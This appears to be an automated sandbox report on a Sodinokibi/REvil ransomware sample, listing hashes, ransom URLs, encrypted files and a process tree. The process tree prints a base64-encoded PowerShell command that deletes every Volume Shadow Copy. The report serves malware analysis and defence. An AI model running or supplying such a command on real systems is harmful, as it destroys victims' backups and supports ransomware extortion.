Analysis
-
max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
30-12-2023 02:50
Behavioral task
behavioral1
Sample
0c280ffb12537bca109724ec89d1ccc6.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
0c280ffb12537bca109724ec89d1ccc6.exe
Resource
win10v2004-20231215-en
General
-
Target
0c280ffb12537bca109724ec89d1ccc6.exe
-
Size
179KB
-
MD5
0c280ffb12537bca109724ec89d1ccc6
-
SHA1
a8d5d8d5d1b8f288e919fe303787c5e1869ad653
-
SHA256
a728d45de941ca5730401f224c80fa1dcc2224477e309f5e4a1de8276939dfbf
-
SHA512
13c15edf4f022f74b3dd57cc203dc5a6bdde773a85ae83df772d536dd4c538ac11415a7c5d8fbb8b39e5e27c52d869a4b5cb19eb7c21c799e4bd8a53440b568a
-
SSDEEP
3072:yEa2d8CfSXceqmPDu4lPZU/CZtpysa8ustqzhy2Is80nwnyxVps:ACqlPDuGPG/abesYzg2I70nqoDs
Malware Config
Extracted
C:\Users\31p0onq821-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D69187AAE6E9D61D
http://decryptor.top/D69187AAE6E9D61D
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
0c280ffb12537bca109724ec89d1ccc6.exedescription ioc process File opened (read-only) \??\I: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\O: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\Q: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\Y: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\D: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\B: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\H: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\K: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\N: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\X: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\A: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\T: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\E: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\Z: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\G: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\W: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\F: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\M: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\V: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\J: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\S: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\L: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\R: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\U: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\P: 0c280ffb12537bca109724ec89d1ccc6.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
0c280ffb12537bca109724ec89d1ccc6.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\p39.bmp" 0c280ffb12537bca109724ec89d1ccc6.exe -
Drops file in Program Files directory 43 IoCs
Processes:
0c280ffb12537bca109724ec89d1ccc6.exedescription ioc process File opened for modification \??\c:\program files\FindAdd.3gpp 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\GetRegister.otf 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\NewResume.gif 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\StopHide.potm 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\ConfirmResolve.zip 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\UnpublishDismount.dotx 0c280ffb12537bca109724ec89d1ccc6.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\31p0onq821-readme.txt 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\RenameExit.cfg 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\RequestMeasure.potx 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\ResumePublish.ppsm 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\SplitClose.dot 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\StopEnable.contact 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\SyncStop.wm 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\UseSearch.asx 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\NewSync.reg 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\OutDeny.sql 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\RegisterTrace.tiff 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\ResumeUnprotect.ttf 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\ResumeUnprotect.wmf 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\StepRegister.xltx 0c280ffb12537bca109724ec89d1ccc6.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\31p0onq821-readme.txt 0c280ffb12537bca109724ec89d1ccc6.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\31p0onq821-readme.txt 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\DismountStart.aifc 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\ExitEnter.docx 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\ExitSave.eps 0c280ffb12537bca109724ec89d1ccc6.exe File created \??\c:\program files (x86)\31p0onq821-readme.txt 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\CloseImport.mp3 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\InvokeDeny.mpv2 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\SaveBackup.pptm 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\UnregisterReceive.jpg 0c280ffb12537bca109724ec89d1ccc6.exe File created \??\c:\program files\31p0onq821-readme.txt 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\ConvertToSkip.dwfx 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\DisconnectAdd.vsdx 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\FormatGrant.vdw 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\SplitRepair.png 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\UnregisterEdit.scf 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\UninstallInstall.ADTS 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\ClearComplete.dib 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\GrantAssert.vst 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\InstallFormat.clr 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\PushNew.bmp 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\ResolveReset.asf 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\UndoClose.emz 0c280ffb12537bca109724ec89d1ccc6.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
0c280ffb12537bca109724ec89d1ccc6.exepowershell.exepid process 1928 0c280ffb12537bca109724ec89d1ccc6.exe 1892 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1892 powershell.exe Token: SeBackupPrivilege 2584 vssvc.exe Token: SeRestorePrivilege 2584 vssvc.exe Token: SeAuditPrivilege 2584 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
0c280ffb12537bca109724ec89d1ccc6.exedescription pid process target process PID 1928 wrote to memory of 1892 1928 0c280ffb12537bca109724ec89d1ccc6.exe powershell.exe PID 1928 wrote to memory of 1892 1928 0c280ffb12537bca109724ec89d1ccc6.exe powershell.exe PID 1928 wrote to memory of 1892 1928 0c280ffb12537bca109724ec89d1ccc6.exe powershell.exe PID 1928 wrote to memory of 1892 1928 0c280ffb12537bca109724ec89d1ccc6.exe powershell.exe -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\0c280ffb12537bca109724ec89d1ccc6.exe"C:\Users\Admin\AppData\Local\Temp\0c280ffb12537bca109724ec89d1ccc6.exe"1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\31p0onq821-readme.txtFilesize
6KB
MD577c98862f456a66500fcdb503b3c1b19
SHA1f73f582495c83311eca51a90f57dfcb7d74a6e76
SHA256bdbfb6c9a6e141008eb55333d233697af17857092f7399c0f8490303d023be24
SHA5124b0d5a534a92e9534a906f935f6ffb78db602ab0500b58636a63718c233e8d65d3223433035afd4ec751f27aa9379450f59792a3f03627b0c980a1c002ac5faf
-
memory/1892-4-0x000000001B600000-0x000000001B8E2000-memory.dmpFilesize
2.9MB
-
memory/1892-5-0x0000000002350000-0x0000000002358000-memory.dmpFilesize
32KB
-
memory/1892-6-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmpFilesize
9.6MB
-
memory/1892-8-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmpFilesize
9.6MB
-
memory/1892-11-0x0000000002DC0000-0x0000000002E40000-memory.dmpFilesize
512KB
-
memory/1892-10-0x0000000002DC0000-0x0000000002E40000-memory.dmpFilesize
512KB
-
memory/1892-9-0x0000000002DC0000-0x0000000002E40000-memory.dmpFilesize
512KB
-
memory/1892-7-0x0000000002DC0000-0x0000000002E40000-memory.dmpFilesize
512KB
-
memory/1892-12-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmpFilesize
9.6MB